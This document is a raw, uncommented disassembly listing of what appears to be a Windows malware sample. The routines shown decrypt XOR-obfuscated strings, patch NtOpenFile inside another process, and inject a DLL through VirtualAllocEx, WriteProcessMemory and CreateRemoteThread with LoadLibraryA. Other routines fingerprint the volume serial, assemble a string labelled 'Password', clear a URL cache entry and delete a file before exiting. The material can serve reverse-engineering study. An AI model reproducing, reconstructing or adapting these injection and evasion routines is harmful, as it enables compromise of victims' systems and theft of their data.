movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x140061f00
jmp 0x140062021
mov r9, rsi
mov r8d, r15d
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140061ff0
lea rdx, [rbp + 0x750]
lea rcx, [rbp + 0xb1]
call fcn.1400636e0
mov rbx, rax
cmp byte [rax + 0xe], r15b
je 0x140062152
mov r8d, r15d
cmp r13d, 2
jl 0x14006211b
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
mov r8d, 8
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
movd dword [rbx], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm12, xmm0
movd xmm0, eax
andps xmm12, xmm8
packuswb xmm12, xmm12
packuswb xmm12, xmm12
paddb xmm12, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm12, xmm0
movd dword [rbx + 4], xmm12
movsxd r9, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140062121
mov rcx, rbx
call fcn.140052400
mov ecx, 0x1e
mov edi, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x140062152
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14006226f
cmp rax, 0xffffffffffffffff
je 0x140062266
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400621e7
mov ecx, dword [rax]
lea r8, [rbp + 0x3ee8]
mov dword [rbp + 0x3ee8], ecx
mov r9d, 5
movzx ecx, byte [rax + 4]
mov rdx, rax
mov byte [rbp + 0x3eec], cl
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9, 0xffffffffffffffff
inc r9
cmp byte [rsi + r9], r15b
jne 0x140062210
inc r9
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], r15d
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140062266
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1308]
call fcn.140053060
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xb2]
call fcn.140050a10
mov r10, rax
cmp byte [rax + 3], r15b
je 0x140062341
cmp r13d, 2
jl 0x140062304
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rax]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rax], xmm1
jmp 0x140062341
mov r9, r10
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140062310
mov dword [rsp + 0x38], r15d
lea r9, [rbp + 0x3934]
mov qword [rsp + 0x30], r15
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, r10
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x1400623c4
mov edx, dword [rbp + 0x3934]
lea rcx, [rbp + 0x1328]
lea edx, [rdx*8 - 4]
call fcn.1400509e0
mov rdx, rax
lea rcx, [rbp + 0x1348]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x1368]
call fcn.1400675e0
mov rdx, rax
lea rcx, [rbp + 0x1308]
call fcn.140064b40
lea rcx, [rbp + 0x1368]
jmp 0x1400623e6
lea rcx, [rbp + 0x1388]
call fcn.140053060
mov rdx, rax
lea rcx, [rbp + 0x1308]
call fcn.140064b40
lea rcx, [rbp + 0x1388]
call fcn.140064ae0
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xb3]
call fcn.140062e80
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140062427
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x13a8]
call fcn.140064bd0
lea rdx, [rbp + 0x3100]
mov r12, rax
lea rcx, [rbp + 0xb4]
call fcn.140063710
mov rbx, rax
cmp byte [rax + 0x25], r15b
je 0x1400625a1
mov r8d, r15d
cmp r13d, 2
jl 0x140062563
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140062472
cmp r8d, 0x26
jge 0x1400625a1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x140062570
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0xb5]
call fcn.140062f10
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400625e5
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x13c8]
call fcn.140064bd0
lea rdx, [rbp + 0x570]
mov r14, rax
lea rcx, [rbp + 0xb6]
call fcn.140062ef0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14006263f
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rdx, rax
lea rcx, [rbp + 0x13e8]
call fcn.140064bd0
lea rdx, [rbp + 0x5c0]
mov rsi, rax
lea rcx, [rbp + 0xb7]
call fcn.140062e50
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14006269d
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rdx, rax
lea rcx, [rbp + 0x1408]
call fcn.140064bd0
lea rdx, [rbp + 0x32e8]
mov rdi, rax
lea rcx, [rbp + 0xb8]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x140062821
mov r8d, r15d
cmp r13d, 2
jl 0x1400627e1
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400626f0
cmp r8d, 0x2d
jge 0x140062821
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x1400627f0
mov rdx, r10
lea rcx, [rbp + 0x1668]
call fcn.140064bd0
mov rdx, rax
lea r8, [0x140086268]
lea rcx, [rbp + 0x16a8]
call fcn.1400655a0
mov r8, rdi
lea rcx, [rbp + 0x1808]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, str.Password
lea rcx, [rbp + 0x1a28]
call fcn.1400655a0
mov r8, rsi
lea rcx, [rbp + 0x1a88]
mov rdx, rax
call fcn.140065610
mov rdx, rax
lea r8, [0x140074ba0]
lea rcx, [rbp + 0x1ac8]
call fcn.1400655a0
mov r8, r14
lea rcx, [rbp + 0x1b08]
mov rdx, rax
call fcn.140065610
mov r8, rbx
lea rcx, [rbp + 0x1c08]
mov rdx, rax
call fcn.1400655a0
mov r8, r12
lea rcx, [rbp + 0x1f08]
mov rdx, rax
call fcn.140065610
lea r8, [rbp + 0x1308]
mov rdx, rax
lea rcx, [rbp + 0x2188]
call fcn.140065610
mov rdx, rax
lea rcx, [rbp + 0x3ad0]
call fcn.140051cd0
lea rcx, [rbp + 0x1f08]
call fcn.140064ae0
lea rcx, [rbp + 0x1c08]
call fcn.140064ae0
lea rcx, [rbp + 0x1b08]
call fcn.140064ae0
lea rcx, [rbp + 0x1ac8]
call fcn.140064ae0
lea rcx, [rbp + 0x1a88]
call fcn.140064ae0
lea rcx, [rbp + 0x1a28]
call fcn.140064ae0
lea rcx, [rbp + 0x1808]
call fcn.140064ae0
lea rcx, [rbp + 0x16a8]
call fcn.140064ae0
lea rcx, [rbp + 0x1668]
call fcn.140064ae0
lea rcx, [rbp + 0x1408]
call fcn.140064ae0
lea rcx, [rbp + 0x13e8]
call fcn.140064ae0
lea rcx, [rbp + 0x13c8]
call fcn.140064ae0
lea rcx, [rbp + 0x13a8]
call fcn.140064ae0
lea rcx, [rbp + 0x1308]
call fcn.140064ae0
lea rdx, [rbp + 0x32b8]
lea rcx, [rbp + 0xb9]
call fcn.140062e10
mov r10, rax
cmp byte [rax + 0x2c], r15b
je 0x140062b01
mov r8d, r15d
cmp r13d, 2
jl 0x140062ac3
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x1400629d2
cmp r8d, 0x2d
jge 0x140062b01
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140062ad0
mov rcx, r10
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp + 0xe98]
lea rcx, [rbp + 0xba]
call fcn.140063560
mov r9, rax
cmp byte [rax + 0x17], r15b
je 0x140062c61
cmp r13d, 2
jl 0x140062c2c
movdqa xmmword [rbp], xmm11
mov rcx, rax
mov edx, dword [rbp]
movd xmm2, r15d
lea eax, [r15 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
movdqa xmm0, xmm2
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm2
add r15d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r15d, 0x18
jl 0x140062b40
jmp 0x140062c61
mov r8, r9
nop
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul r15d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, r15b
inc r15d
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp r15d, 0x18
jl 0x140062c30
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3